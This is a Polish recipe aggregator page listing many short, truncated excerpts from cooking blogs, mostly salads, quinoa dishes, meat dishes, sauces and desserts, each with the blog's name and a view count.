blenderze. Dodać jajka, sól, majeranek i mąkę. Dokładnie wymieszać. Ciasto nie jest gęste, jest nawet bardzo lejące. Smażyć na rozgrzanym tłuszczu z obu stron do zarumienienia. Bardzo dobre z sosem czosnkowym lub z cukrem. Tak wygląda ciasto, zdjęcie zrobione na szybko, gdy już się placki smażyły. Nie przerazić się, jest lejące. Placuszki podczas smażenia

Wołowina od rekina
Gulasz z pieczarkami i papryką 730

małym ogniu. Od czasu do czasu pomieszać i w razie potrzeby uzupełnić brakującą wodę. Kiedy mięso będzie już miękkie dodać mąkę ziemniaczaną rozpuszczoną w wodzie. Doprowadzić do wrzenia. Sos powinien być gęsty. gulasz z pieczarkami i papryką

O kuchni z uczuciem
Dietetyczna szarlotka bez mąki, cukru i jajek! 340

godzinę, dopiero wyjmij z formy, będzie jeszcze ciepłe i takie już można jeść. Można też poczekać aż całkowicie ostygnie.  Ciasto w wersji nie fit, możesz podać polane sosem karmelowym, bądź z kulką lodów śmeitankowych, możesz też przyozdobić bitą śmietaną. Choć dla mnie idealne jest takiej czystej wersji. Przepyszny smak jabłka z cynamonem w postaci lekkiej szarlotki. Ideał na drugie

SMYKWKUCHNI
Sałatki i surówki. 6 smacznych i prostych przepisów. 988

jęczmienną i warzywami Najłatwiejsza surówka obiadowa z kwaszonych ogórków Pyszna surówka z marchewki i pora Szybka sałatka jajeczna z porem, kukurydzą, groszkiem i rzodkiewką Szybka sałatka z pora w sosie czosnkowym Surówka z czerwonej kapusty z marchewką, jabłkiem i zielonymi dodatkami Po więcej przepisów na sałatki i surówki zapraszam tutaj .   Smacznego

Słodkie okruszki
Sałatki dietetyczne! 547

DIETETYCZNA SAŁATKA Z BRZOSKWINIĄ FIT SAŁATKA Z KREWETKAMI OWOCOWA FIT SAŁATKA FIT SAŁATKA Z ŁOSOSIEM I SEREM FIT SAŁATKA Z RÓŻOWYM SOSEM I WARZYWAMI DIETETYCZNA SAŁATKA Z ANCHOIS DIETETYCZNA SAŁATKA Z KASZĄ JĘCZMIENNĄ FIT SAŁATKA Z SIEMIENIEM LNIANYM FIT SAŁATKA Z TUŃCZYKIEM FIT SAŁATKA Z ŻURAWINĄ, POMARAŃCZEM

SMYKWKUCHNI
Kurczak pieczony z czterdziestoma ząbkami czosnku 169

godziny. Po tym czasie zdejmujemy pokrywkę i pieczemy jeszcze przez 30 minut zwiększając temperaturę do 200 stopni. Kurczaka kroimy na kawałki i podajemy wraz z czosnkiem i sosem z pieczenia. Miękki czosnek spożywamy wyciskając go z łupinki. Ma pyszny, orzechowy smak i można nim posmarować pieczywo jako dodatek do dania. Smacznego

Marder&Marder Manufacture
Sałatka ratunkowa z quinoą, groszkiem i tuńczykiem 163

language:#0400;} Mało jest równie szybkich przepisów na smaczną sałatkę. W sam raz na wizytę niezapowiedzianych gości :) Składniki: 1 i 1/2 szklanki ugotowanej quinoy puszka groszku puszka tuńczyka w sosie własnym 2 ogórki konserwowe natka pietruszki łyżka musztardy bezglutonowej 4 łyżki majonezu bezglutenowego pieprz sól Wykonanie: Tuńczyka i groszek odsączamy, ogórki konserwowe kroimy w kostkę, natkę pietruszki siekamy. Mieszamy wszystkie

Quinoa Raz!
Świąteczna polędwiczka nadziewana quinoą, borowikami i wędzoną śliwką 182

maśle z szalotką. Oczywiście nie byłabym sobą gdyby bazy nadzienia nie stanowiła quinoa, tym razem czarna, w moim odczuciu najbardziej świąteczna. Pieczeń podałam w towarzystwie kluseczek śląskich i sosu na winie z czarnej porzeczki i wędzonej śliwki z dodatkiem miodu. Smacznego! Składniki: polędwica wieprzowa około 400 - 500 gram 5 - 6 łyżek ugotowanej czarnej quinoy 1 garść suszonych borowików 1 szalotka

Quinoa Raz!
Sałatka z quinoą, granatem i kiwano 189

sałatki.   Posypujemy cząsteczkami granatu i posiekaną natka pietruszki. Sok z limonki, oliwę i utarty w moździerzu różowy pieprz dokładnie ze sobą mieszamy i powstałym w ten sposób sosem skrapiamy sałatkę :)   Smaczne, świeże i orzeźwiające

Quinoa Raz!
Sałatka z quinoą, roszponką i grillowanym indykiem 213

rozgrzaną patelnie do grillowania i opiekamy na złoto z obu stron, na koniec chwilę dusimy pod przykryciem. Jeszcze gorącego indyka kroimy na grube paski, układamy na sałatce i polewamy sosem z cytryny, oleju lnianego, pieprzu i soli. Całość posypujemy szczypiorkiem i nasz dietetyczny obiad gotowy

Quinoa Raz!
Kolorowa sałatka z quinoą i przepiórczymi jajkami 201

koktajlowych, obraną i pokrojoną w plastry smaczliwkę i posiekaną w plasterki, lub piórka czerwoną cebulę. Sok z cytryny łączymy z olejem lnianym, pieprzem i sola. Powstałym w ten sposób sosem polewamy sałatkę. Na koniec posypujemy ją czarnuszką i gotowe! :)  Szeroki wybór superfood można znaleźć w sklepie internetowym: www.sklepagnex.pl

Quinoa Raz!
Sałatka z wężymordem (skorzonerą) i czarną quinoą 185

osolonej wodzie z dodatkiem łyżeczki cukru. Gdy zmięknie, odcedzamy, studzimy i kroimy na mniejsze kawałki. Sałatę rwiemy na mniejsze kawałki i wrzucamy do miski, dodajemy rukolę, pokrojoną skorzonerę, polewamy sosem wykonanym z oliwy, soku z cytryny, soli i świeżo mielonego kolorowego pieprzu. Mieszamy, posypujemy ugotowaną czarną quinoą i szczypiorkiem. Smacznego

Quinoa Raz!
Ekspresowy, bezglutenowy placek śniadaniowy z mąką z quinoy 200

ostro, jak się komu podoba. W tym wydaniu zgięłam go na pół i zapakowałam do środka, sałatę, kawałeczki bezglutenowej szynki z jelenia, rzodkiewkę, pomidorki koktajlowe, kiszonego ogórka i sos majonezowo - chrzanowy. Domownik patrzył na moje śniadanie z zawiścią (dodam, że miał swoje kanapki ;) ). Podaję przepis na placek śniadaniowy - sztuk 1.  Składniki: 2 łyżki mąki z quinoy 2 łyżki bezglutenowej

Quinoa Raz!
Sałatka z quinoą i cytrusami 169

rwiemy na mniejsze kawałki, pomelo obieramy, filetujemy i dzielimy na mniejsze cząstki, pomarańcze obieramy ze skórki i kroimy na plastry. Sałatę, cytrusy i quinoę, przekładamy do miski, polewamy sosem z soku z cytryny i rozpuszczonego w nim miodu, mieszamy, posypujemy czarnym sezamem i gotowe

Quinoa Raz!
Sałatka z ziół i chwastów z quinoą i cieciorką 186

kawałki i wszystkie wrzucamy do miski. Dodajemy ugotowaną quinoę, pokrojone w plastry pomidory i cieciorkę. Całość polewamy dressingiem wykonanym z kiszonej cytryny, oliwy, wody i zmielonego pierzu indonezyjskiego. Składniki sosu należy ze sobą dokładnie zblendować, a gdy uzyskamy jednolitą konsystencję możemy połączyć dressing z sałatką. Na koniec posypujemy wszystko świeżo starta kurkumą, kłącze należy wcześniej umyć i obrać (koniecznie robimy

Quinoa Raz!
Wytrawna sałatka w kolorze wina z czerwoną quinoą i czerwoną fasolą 203

kawałki i wrzucamy do miski razem z mikro amarantusem. Dodajemy pokrojone na ćwiartki pomidorki, oliwki, opłukaną z zalewy fasolę, quinoę i pociętą w piórka, lub półplasterki cebulę. Wszystko polewamy sosem wykonanym ze zmieszanych dokładnie składników - oleju lnianego, octu winnego, soli i utłuczonego w moździerzu pieprzu. Smacznego :) http://warzywneinspiracje.pl

Quinoa Raz!
Kuleczkowa sałatka z pieczonymi "falafelkami" z quinoy i kukurydzy 178

starannie blenderem ręcznym, a następnie dodajemy trochę soli i ziarna gorczycy. Mozzarellę, pomidorki, oliwki, groszek, pieprz i przygotowane wcześniej kuleczki z fioletowych ziemniaków i "falafelki" wrzucamy do miski, polewamy sosem i mieszamy, po czym od razu serwujemy (jeśli sałatka postoi dłużej to "falatelki" zmiękną, też będą smaczne, ale jednak chrupiące są lepsze). Smacznego :) * Mąka kokosowa wykazuje właściwości higroskopijne, wchłonie nadmiar

Quinoa Raz!
Sałatka z quinoą, czarnym czosnkiem i kiszoną rzodkiewką 225

wszyscy, którzy nie lubią świeżego czosnku, muszą go spróbować, ponieważ nie przypomina go ani w smaku, ani w konsystencji, jest miękki i słodkawy, trochę jak suszona śliwka połączona z sosem sojowym ;) tak bym to subiektywnie określiła. Możecie się zatem spodziewać kolejnych przepisów z tym wynalazkiem.  Składniki: 1 szklanka ugotowanej białej quinoy pół główki dowolnej sałaty 10 - 12 pomidorków koktajlowych

Quinoa Raz!
Galaretkowe co - nie - co 210

mniejsze kawałki. Gdy mleko ostygnie włożyć do niego kawałki galaretek i delikatnie zamieszać. Następnie ostrożnie przełożyć do formy i odstawić do lodówki do stężenia. Propozycja podania: np. z sosem truskawkowym

Lubię to gotuję
Pulpeciki drobiowe w sosie pomidorowym 211

mące pełnoziarnistej. Wlać do garnka 2 puszki pomidorów i 1 puszkę wody. Przyprawić do smaku solą, płatkami czili, i cukrem, dodać oregano i bazylię, zagotować. Do gotującego się sosu ostrożnie wkładać pulpeciki i gotować na wolnym ogniu ok. 20 min. Z takiej porcji mięsa wyszło mi 16 pulpecików

Lubię to gotuję
Drobiowe roladki ze szpinakiem w sosie pomidorowym 260

poddusić ją na kilku kroplach oliwy, wlać pomidory i ok. puszki wody, zagotować, doprawić do smaku dodając szczyptę bazylii, soli i odrobinkę czili w płatkach. Delikatnie włożyć do sosu roladki i na małym ogniu gotować ok. 35 minut

Lubię to gotuję
Marchewki karmelizowane 274

wyciśnięty z limonki. Gotować je na małym ogniu przez chwilkę w soku, jak już prawie odparuje dodać cukier. Delikatnie mieszać i gotować jeszcze przez chwilkę, aż powstanie gęsty lśniący sos. Podawać na gorąco od razu po przygotowaniu

Lubię to gotuję
Śledzie w sosie jogurtowo-miodowym 166

pokroić w grubą kostkę, połączyć z jogurtem i miodem, dokładnie wymieszać. Zwijać płaty śledziowe (tworząc "kominy") i spinać je wykałaczkami. Układać na półmisku,a następnie nałożyć do nich delikatnie sos. Na koniec udekorować np. natką i jabłkiem

Lubię to gotuję
Salatka - kolorowa bomba witaminowa 355

ogórka wydrążyć gniazda nasienne,  marchewki natomiast zanurzyć w wodzie z kostkami lodu, dzięki temu staną się bardziej kruche i chrupiące. Wymieszać delikatnie wszystkie składniki, przed podaniem polać sosem   Wafu

Lubię to gotuję
Satay - kurczak w mleku kokosowym 281

obie strony po kilka minut, przed podaniem posypać mielonymi orzechami nerkowca. Sałatka: kapusta pekińska cebula czerwona marchewka jabłko natka pietruszki Wszystkie składniki dość drobno posiekać, przed podaniem polać sosem  wafu

Lubię to gotuję
Uramaki z kawiorem i awokado 290

Składniki 5 arkuszy prasowanych wodorostów nori 250 g ryżu do sushi sos do ryżu: 3 łyżki octu ryżowego 1 łyżka cukru 0,5 łyżeczki soli dodatki: 100 g łososia wędzonego 1 … Czytaj dalej Uramaki z kawiorem i awokado

czarrna od kuchni
Naleśniki kokosowe z frużeliną truskawkową 179

wody i dodajemy do truskawek. Dokładnie mieszamy, aby nie utworzyły się grudki. Odstawiamy do wystudzenia, a następnie chłodzimy w lodówce. Naleśniki smarujemy kokosowym serem, składamy w trójkąty i polewamy sosem truskawkowym. Wierzch posypujemy chipsami kokosowymi. Dekorujemy świeżymi truskawkami. by Małgorzata Hert Wędrówki po kuchni http://www.wedrowkipokuchni.com.pl

Wędrówki po kuchni
Deser jaglano kokosowy. 176

słono, jest ogromnie neutralna i można zrobić z nią niemalże wszystko. Na przykład taki deser, bardzo prosty i szybki w przygotowaniu. Można go podawać z dowolnym musem owocowym, dżemem, sosem, czekoladą. Wszystko zależy od Was. Przepis na podstawę deseru zaczerpnęłam od Blondynki . Potrzebujemy: 1 szklanka kaszy jaglanej 2 szklanki wody 3 szklanki mleka 3 łyżki ksylitolu, bądź 5 łyżek zwykłego

MamaOskarka
Czekoladowe gofry z jagodami 298

Lato jest takim cudownym okresem gdzie możemy rozkoszować się świeżymi sezonowymi owocami , lodami i goframi. Dziś przygotowałam Wam czekoladowe gofry z sosem jagodowym i bitą śmietaną :) Czytaj więcej

Ana Mari's world
Czekoladowe gofry z jagodami 298

Lato jest takim cudownym okresem gdzie możemy rozkoszować się świeżymi sezonowymi owocami , lodami i goframi. Dziś przygotowałam Wam czekoladowe gofry z sosem jagodowym i bitą śmietaną :) Czytaj więcej

Ana Mari's world
Leczo z mięsem mielonym a'la spaghetti 191

zachęca do szybkiego skonsumowania. :) Składniki: 1 marchew 1 pietruszka 1 mała cukinia 1 pomidor 1 czerwona papryka 1 cebula 100g mięsa mielonego 100g makaronu spaghetti 1 szklanka wody przyprawy: sos sojowy, pieprz cayenn, czosnek granulowany, papryka słodka, jarzynka bez soli masło klarowane do smażenia Sposób przygotowania: Na rozgrzanej patelni z masłem klarowanym szklimy drobną posiekaną cebulę. Między czasie gotujemy makaron

Truskawkowa Fiesta
Błyskawiczne piątki - Sałatka z rukolą, kurczakiem i żółtymi pomidorkami koktajlowymi 168

kurczaka pokroić na płaty, zamarynować w ulubionych przyprawac h i zgrillować po 2-3 minuty z każdej strony. Kurczaka i mozzarellę p okroić w kostkę , dodać pokrojone pomidorki. Przygotować sos. Polać sałatkę, można posypać ulubionymi ziarnami

Magiczne Życie Marty
Makaron z jagodami i białym serem 178

mogłabym sama nazbierać, a tak... trzeba iść na ryneczek i zapłacić :)  Jako że zapas makaronu Barilla już do mnie dotarł, to postanowiłam wykorzystać go na słodko. Właśnie z sosem jagodowym i białym serem.  Przyznaję bez bicia, że do odrobinki, która została podchodziłam non stop... dopóki nie zobaczyłam dna :) Składniki: 200g makaronu np. kokardki 100g jagód leśnych 100ml jogurtu

Kuchnia w czekoladzie
kalafior w cieście serowym 325

pieprzem. Wystudzone różyczki kalafiora maczamy w cieście i smażymy na rozgrzanym tłuszczu aż się zrumienią z każdej strony. Po usmażeniu przekładamy na talerze wyłożone papierowymi ręcznikami. Podajemy np. z sosem czosnkowym. Zapisz Zapisz Zapisz Zapisz Zapisz Zapisz

Domowy Smak Jedzenia
Kurczak pieczony w całości razem z grzybkami faszerowanymi ziemniakami 161

butelkę wypełnioną wodą, ale w blaszce musi być również woda. Wstawić blaszkę do nagrzanego piekarnika i piec 50 minut. Wyjąć blaszkę z piekarnika, odwrócić kurczaka i polać go wytworzonym sosem. Włożyć faszerowane grzybki. ponownie wstawić do piekarnika na kolejne 30 minut. Gdyby nie było wody w blaszce troszeczkę dolać. Kurczak musi mieć pięknie zarumienioną skórkę, smacznego

Kuchnia Pokoleń
Steki z tuńczyka z salsą z cukinii 169

pokrojoną w kostkę. Doprawiamy oregano, słodką papryką, pieprzem, solą i cukrem. W ostatniej kolejności dodajemy pomidora pokrojonego w kosteczkę, dodajemy sok z pomarańczy i gotujemy do momentu zredukowania się sosu. Smacznego

Taste Therapy
Czekoladowy tortcik z owocami 203

ewentualnie zużywamy np do koktajlu) dodajemy pokruszoną czekoladę i podgrzewamy całość mieszając aż czekolada się rozpuści. Ważne, by masy nie zagotować, wtedy może nam się nie zgęstnieć. Gdy czekoladowy sos trochę ostygnie wykładamy go do tortownicy, a na wierzchu układamy owoce. Ja użyłam jagód i wiśni, ale świetnie będą pasowały tutaj także maliny. Ciasto odstawiamy do lodówki na kilka godzin

Cynamonowe szczęście
Kąski z kurczaka w chipsach + film 316

Pyszne i chrupiące kąski z kurczaka w paprykowej panierce z chipsów to świetna propozycja na domowe imprezy, w towarzystwie ulubionego sosu lub ketchupu smakują najlepiej. Podane na obiad z ziemniakami lub frytkami i sałatą, stanowią smaczny oraz sycący posiłek.   składniki na 4 porcje podwójna pierś z kurczaka 2 szklanki pokruszonych chipsów paprykowych 2 jajka 5 łyżek mąki kukurydzianej olej

Smakowite Dania
Lekkie obiady - polecam na lato 244

nieskomplikowane, ale smaczne. Życzę smacznego :) Zupa krem z pieczonych buraków z jabłkiem - dobra zarówno na ciepło, jak i na zimno Pieczone w piekarniku warzywa a'la frytki, z ziołowym sosem Zapiekane pomidory faszerowane kaszą owsianą Najprostszy chłodnik z botwinką Polenta - kukurydziany przysmak na wiele sposobów Sałatka z kaszy orkiszowej z kiszoną cytryną, papryką, pomidorami i cukinią Pikantne ziemniaki zapiekane

Codzienna kuchnia niecodzienna
MAKARON ZAPIEKANY Z ŁOSOSIEM I SZPARAGAMI 198

Połączenie makaronu, kremowego sosu, delikatnego łososia i szparagów to wykwintny... Artykuł MAKARON ZAPIEKANY Z ŁOSOSIEM I SZPARAGAMI pochodzi z serwisu CookMagazine

COOKMAGAZINE
A może by tak coś wydestylować? 190

świetle, w samochodzie. Ale kiedy tylko mogę montuję "kęs idealny"- po odrobinie z każdego elementu potrawy, i sprawdzam jak one wszystkie grają ze sobą. W kuchni tkam paluchy w sos, inhaluję się nad garnkami i z wielkim skupieniem dolewam kropelki ciekawych składników, dorzucam szczypty aromatycznych przypraw. To trochę jak magia, a ja już parę razy słyszałam, że jestem czarownicą (czarny

les mirabelles
Bezglutenowe wrapy z ciecierzycy. 309

spędzać w kuchni. Smażymy raz w tygodniu większą ilość placków, które następnie chowamy do lodówki. Kiedy mamy ochotę na szybki lunch, po prostu wyjmujemy chwilę wcześniej placek, smarujemy ulubionym sosem lub miękkim awokado, dodajemy pokrojone warzywa i gotowe. Mamy szybki, odżywczy posiłek à la tortilla.  I kto powiedział, że zdrowe gotowanie wymaga czasu? :) Składniki (4 placki): 1 szklanka

Powiedz dietom nie
Tajska zupa z fasolką szparagową 235

Składniki: 500 g piersi z kurczaka 1 spora cebula 4 ząbki czosnku 4 listki limonki kaffir 3 cm świeżego imbiru 2 łyżeczki pasty curry olej do smażenia 2 łyżki sosu rybnego 1000 ml bulionu 400 ml mleczka kokosowego 200 g cienkiej fasolki szparagowej 100 g pędów bambusa 3 łyżki posiekanego szczypiorku świeża bazylia tajska sok z 1/2 cytryny Wykonanie: Mięso

Kulinarne przygody Gatity
Meksykańskie pierogi empanadas 381

Naszło mnie na coś innego…pierogi! Ale nie takie zwykłe bo prosto z Mexyku! Świetne, pikantne, z dowolnym nadzieniem. Doskonałe na ciepło jak i na zimno. Pyszne z sosami i same. Sprawdzą się na każdej imprezie lub jako danie obiadowe. Ja przygotowałam je w dwóch wersjach z nadzieniem z brokuła i mięsnym, ale nie z wołowiny a delikatniejszym

Mieszam w Garnku
Dorsz pieczony z pieczarkami i koperkiem 159

ciast i w ferworze odkrywania nowych cukierniczych kompozycji nie znalazłam czasu by podzielić się z Wami przepisem na pyszną rybkę. Niniejszym więc nadrabiam zaległości 🙂 Oto dorsz pieczony w pysznym sosie.   W moim przepisie bohaterem jest dorsz, ale równie dobrze będzie się zapiekał sandacz lub inna biała ryba. Polecam taką, z […] Artykuł Dorsz pieczony z pieczarkami i koperkiem pochodzi

Wiszniówka
Pieczona kapusta. 149

kapustę, smarujemy ją  masłem i wkładamy do piekarnika 180- 200 stopni na 30-40 min, pieczemy do miękkości, podajemy polaną masłem jako dodatek do obiadu lub samą z sosem czosnkowym-pyszna

Kuchnia Beaty
POTRAWKA Z INDYKA 268

szybka potrawka z indyka z warzywami, w sosie pomidorowym     SKŁADNIKI 40 dag filetu z indyka, 3 łyżki kukurydzy konserwowej, 3 łyżki fasoli czerwonej, 3 łyżki fasolki szparagowej mrożonej, 1 łyżka groszku konserwowego, 200 g pomidorów z puszki bez skórki, 2 łyżki ketchupu, sól, pieprz, pieprz ziołowy, papryka ostra w proszku, przyprawa do drobiu WYKONANIE  Mięso kroimy

słodki bratek
Mielonka warzywna zamiast kostki do słoików na zimę 135

bulionowych w swojej kuchni. Trzeba jednak przyznać, że czasem ciężko uzyskać oczekiwany smak potrawy bez spożywczych dodatków. Dlatego postanowiłam przygotować własną mieszankę warzywną, która podkreśli smak moich zup, sosów i innych dań na bazie wywarów. Składniki: 1 kg marchewki ½ kg selera 1 kg kapusty włoskiej 1 kg pietruszki 1 kg cebuli 1 kg kalarepki 1 kg soli Wykonanie: Warzywa

Tradycyjna Kuchnia
Turecki chlodnik ogórkowy 161

gorące lato, gdy nie chce się stać w kuchni a ma się ochotę na coś smacznego. Zupa swoim składem i konsystencją przypomina greckie tzatziki. Nie jest jednak używana jako sos tylko jako pierwsze danie obiadowe. Z doświadczenia powiem, że w zupełności może wystarczyć jako cały obiad

Milion Smaków
FLAMICHE – WIEDŹMIN 3: DZIKI GON KREW I WINO – tarta z porami 246

UNIWERSUM OD RIVSKI WŁÓCZĘGA! TOSTY ZIOŁOWE I BAGIETKA Z PASTĄ RYBNĄ „WIEDŹMIN. DOM ZE SZKŁA” – BIGOS NA ŚLIWKACH ZALEWAJKA MAHAKAMSKA „Pod Dzikiem i Jeleniem” – KASZA Z KAWAŁKAMI WIEPRZOWINY I SOSEM CEBULOWYM SANDACZ W TYMIANKU * dane dotyczące wartości energetycznych i odżywczych, czasu wykonania oraz ceny są jedynie szacunkowe i mogą odbiegać od rzeczywistości Świeżutki post FLAMICHE – WIEDŹMIN 3: DZIKI

Nerds Kitchen
Włoskie pierożki z serem i pieczarkami. 506

panierujemy w bułce tartej. Smażymy na rumiano z każdej strony. Olej powinien sięgać do połowy pieroga. Po usmażeniu osączyć na ręczniku papierowym. Można podawać z ketchupem czy innym ulubionym sosem. Smacznego

Radość kipiąca uśmiechem.
Ketchup z cukinii-z nutką curry 428

curry(oczywiście jak nie przepadacie za tą przyprawą możecie dać jej mniej) idealny dodatek do kanapek ,super sprawdzi się również do mięs z grilla, może służyć też jako gotowy sos do makaronu-mniam....uwielbiam takie produkty -dziękuję Marzenko za przepis Składniki: - 1,5 kg cukinii (waga po wydrążeniu i obraniu ) - 4 średnie cebule - 2 szklanki cukru - 1 szklanka octu

Swojskie jedzonko
WEGAŃSKI BURGER Z QUINOA I SOSEM Z BAKŁAŻANA 259

Proponujemy WEGAŃSKI BURGER Z QUINOA czyli komosy ryżowej, która stała... Artykuł WEGAŃSKI BURGER Z QUINOA I SOSEM Z BAKŁAŻANA pochodzi z serwisu CookMagazine

COOKMAGAZINE
Pizza na kalafiorowym spodzie 273

okrąg.  Uformowany spód wstawić do nagrzanego na 190 stopni C. piekarnika (grzanie góra/dół) i piec przez ok. 15 minut. Wyjąć, ułożyć na wierzchu dodatki, u mnie: sos pomidorowy, liście szpinaku, czarne i zielone oliwki, kawałki sera feta, drobno starty ser cheddar wymieszany z parmezanem. Całość ponownie wstawić do piekarnika (190 stopni C.) i zapiekać

gutfut
Pieczone ziemniaki 381

Ziemniaki same w sobie wcale nie są tuczące, to dodatek tłustych sosów i okrasy w postaci skwarek, podnosi ich kaloryczność i sprawia, że stają się one bombą kaloryczną. Sam ziemniak ma około 70 - 80 kcal, zawiera witaminy (C, PP, B1, B6) i minerały (potas, wapń, fosfor, żelazo). Ziemniaki mają dobroczynny wpływ na nasz organizm, gdyż obniżają ciśnienie, dbają o nasz

Kuchcik gotuje
Pieczeń z bobem 208

jadałam go ze skórką nie może być inaczej i potrawy z bobu kocham bardzo. Dziś pieczeń z bobem która smakuje doskonale do obiadu i jako samodzielne danie z ulubionym sosem. Polecam gorąco. Pieczeń z bobem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z fasolki szparagowej i bazylii z grillowanym serem camembert. 195

warzyw dodałam grillowany ser camembert i chutney malinowy (o którym jeszcze napiszę). Proste i pyszne :) Składniki: fasolka szparagowa zielona świeża bazylia ser camembert bagietki chutney malinowy (lub inny sos) sól (opcjonalnie) Wykonanie: Fasolkę ugotować w osolonej wodzie. Ser przygotować na grillowej patelni. Na talerzu ułożyć bazylię, następnie fasolkę i ser camembert. Podawałam z malinowym chutneyem i grzankami

zadanie-gotowanie
Panna Cotta dla Pana Taty 165

wersji codziennej podaję po prostu w filiżance. By było bardziej elegancko- wyjmuję na talerzyk oprószony cukrem pudrem i przybieram listkiem mięty. Można także przygotować jasny karmel lub czekoladowy sos jako dodatek. Aby wyjąć deser z filiżanki w ładnej, pełnej formie wystarczy, że filiżankę zanurzymy na kilka sekund w misce z gorącą wodą, oczywiście uważając, żeby woda nie nalała się

Pichceniomania
Sałatka ze szpinakiem, jajkiem, boczkiem...i co tam jeszcze w ręce wpadnie 173

kawałki jajek, które, nie ma siły, po prostu lekko rozpadną się przy mieszaniu, tworzą miksturę, która smakowicie oblepi liście szpinaki i połączy wszystko w całość. Nie potrzeba już innych sosów, majonezów- jeśli wyjdzie zbyt sucha, dolejcie jeszcze trochę oliwy. Smacznego

Pichceniomania
Butter Chicken w Makowieckiej wersji 142

spiżarnia Nigelli Lawson, ale jestem na dobrej drodze. Kilka lat temu, oglądając jej program, zauroczyło mnie to niewielkie pomieszczenie z półkami od podłogi do sufitu zastawionymi przyprawami, półproduktami, dodatkami, sosami i innymi, że tak je nazwę- dosmaczaczami. Nie posiadam jeszcze takiego magicznego schowka, ale szafki, w których przechowuję moje skarby już teraz pękają w szwach, więc chyba czas to przemyśleć

Pichceniomania
Sos grzybowy 304

najprostszej wersji Składniki ok 0,5 kg odgotowanych podgrzybków lub maślaków 2 duże cebule 1 mała śmietana 2 łyżki masła sól, pieprz Sposób przygotowania Cebulę zeszklić … Czytaj dalej Sos grzybowy

czarrna od kuchni
Perliczka z kurkami 160

zszyć. Całą perliczkę obwiązać sznurkiem aby nadać jej kształt. Posmarować masłem tymiankowym. Wstawić do piekarnika nagrzanego do 180 stopni na godzinę. Piec pod przykryciem, po pół godzinie polać wytworzonym sosem, czynność powtórzyć jeszcze dwa razy. Odłożone kurki podsmażyć na reszcie masła. zastawa

królestwo garów
Pieczone warzywa z czarnuszką i czosnkiem 274

Można podać posypane dodatkowo czarnuszką. Do przepisu najlepsze są niewielkie cukinie, chrupiace i słodkie w smaku, większe mają więcej goryczki i grubszą skórę. Do pieczonych warzyw mozna podać np. sos z jogurtu z dodatkiem świeżych ziół jak mięta, oregano czy tymianek

Moja smaczna kuchnia
Grillowana karkówka z warzywami 174

oleju rzepakowego i octu balsamicznego z sokiem malinowym zamarynowałam i świeże prosto z działki warzywa do niej przygotowałam. Wszystko równocześnie się grillowało i bardzo dobrze smakowało.  Z ulubionym sosem, musztardą podałam i promieniami słońca oraz smakiem potrawy z całą rodziną  się rozkoszowałam.   Składniki: 1 kg karkówki, marynata: 3 łyżki octu balsamicznego z sokiem malinowym, 6 łyżek oleju

Moniki Smakołyki
Marchewkowe kluski 195

masłem, albo tak jak jadły moje dzieci podsmażone na słodko. Jak przy większości tego typu dań wymagają trochę czasu na przygotowanie. Może skusicie się na takie bezmięsne danie. Polane sosem i gulaszem będą smacznym daniem mięsnym. Składniki 250 g twarogu dałam półtłusty 2 jajka 1kg ugotowanych ziemniaków 2 łyżki mąki ziemniaczanej 1,5   szklanki mąki pszennej 4 średnie ugotowane

O kuchni z uczuciem
Kurczak zapiekany w serowym sosie 133

chwil. Jest bardzo wygodne przy większej ilości gości - można przygotować je wcześniej a przed podaniem zapiec i gotowe. Dodatkowy plus to fakt, że mało kto tego nie zje ;) Kremowy sos serowy przygotowałam na bazie sera camembert i śmietany. Ważne, żeby dobrze go mieszać aby nie powstały grudki. Wisienką na torcie są prażone migdały, które dodają tu przyjemnej chrupkości

Milion Smaków
Sałatka „Cote d`Azur” 142

jasnej skórki. Paprykę umyłem, oczyściłem, pokroiłem w paski. Sałatę opłukałem, porwałem na mniejsze kawałki. Tuńczyka podzieliłem na cząstki. Oliwki drobno pokroiłem. Ocet wymieszałem z oliwą, musztardą, solą i pieprzem, sos wymieszałem z pozostałymi składnikami

R'n'G Kitchen
Paczka od Polsoji 168

apetycznie wygląda w opakowaniu i mam nadzieję, że smakuję równie dobrze jak wygląda :). Wykorzystam je pewnie na kanapkach, tostach i pizzy. Kolejnym produktem z paczki jest tofu marynowane w sosie tamarii również z serii BIO. Tego tofu także nie próbowałam, ale myślę, że świetnie sprawdzi się na grillu i w jakimś azjatyckim daniu.  A Wy lubicie produkty Polsoji

wegujemy
Nasiona Chia na 3sposoby 209

nasiona chia i ostawiamy na godzinę do lodówki. Następnie należy dokładnie zamieszać i dodać miód do smaku. Odstawiamy na 6godzin a najlepiej na całą noc. Składniki na pudding z sosem malinowym: - 200ml mleka krowiego - 2 łyżki nasion chia - łyżka miodu - maliny - cukier Przygotowanie: 1 .Do mleka należy dodać nasiona chia i ostawiamy na godzinę do lodówki. Następnie należy dokładnie zamieszać

Coś z niczego
Klasyczny przepis na mule 244

białym winem, przykrywamy garnek i całość dusimy do momentu aż mule się otworzą. Podczas gotowania 2-3 razy wstrząśnijmy garnkiem, aby przemieszać małże . Całość wykładamy do miseczki i polewamy sosem, w którym gotowały się małże . Jeśli lubimy możemy posypać je drobno posiekaną pietruszką, albo koperkiem. Danie to najlepiej podać ze świeżo upieczoną i pokrojoną w kromki - bagietką . Smacznego! Post Klasyczny

Kulinarnyblog.pl - wiesz jak gotować!
Bieszczadzkie smaki - część II 181

Jagnięcinę w marynacie jogurtowej z pieca, oraz placki po krzemieniecku. Jagnięcina rozpływała się w ustach, była delikatna w smaku i bardzo aromatyczna. Placki chrupkie, dobrze wysmażone i pyszny sos mięsny. Ale to wszystko to był tylko wstęp przed wielkim finałem. Naczytaliśmy się recenzji i opinii o nim, naoglądaliśmy zdjęć.  W końcu nadeszła ta długo wyczekiwana chwila. Wjechał dostojnie

królestwo garów
Czekoladowy omlet biszkoptowy z sosem z białej czekolady i borówką amerykańską 143

Prawdziwa uczta na śniadanie, także dla oczu. Czekoladowy omlet biszkoptowy z białym sosem jogurtowo-czekoladowym z niebieskim akcentem borówek. Żadna z trzech części tego dania nie jest bardzo słodka (jeśli chcecie możecie je bardziej dosłodzić), ale i tak stanowią doskonały kontrast do porannej gorzkiej, czarnej kawy. Polecam

Milion Smaków
Bób z szynką parmeńską i suszonymi pomidorami 218

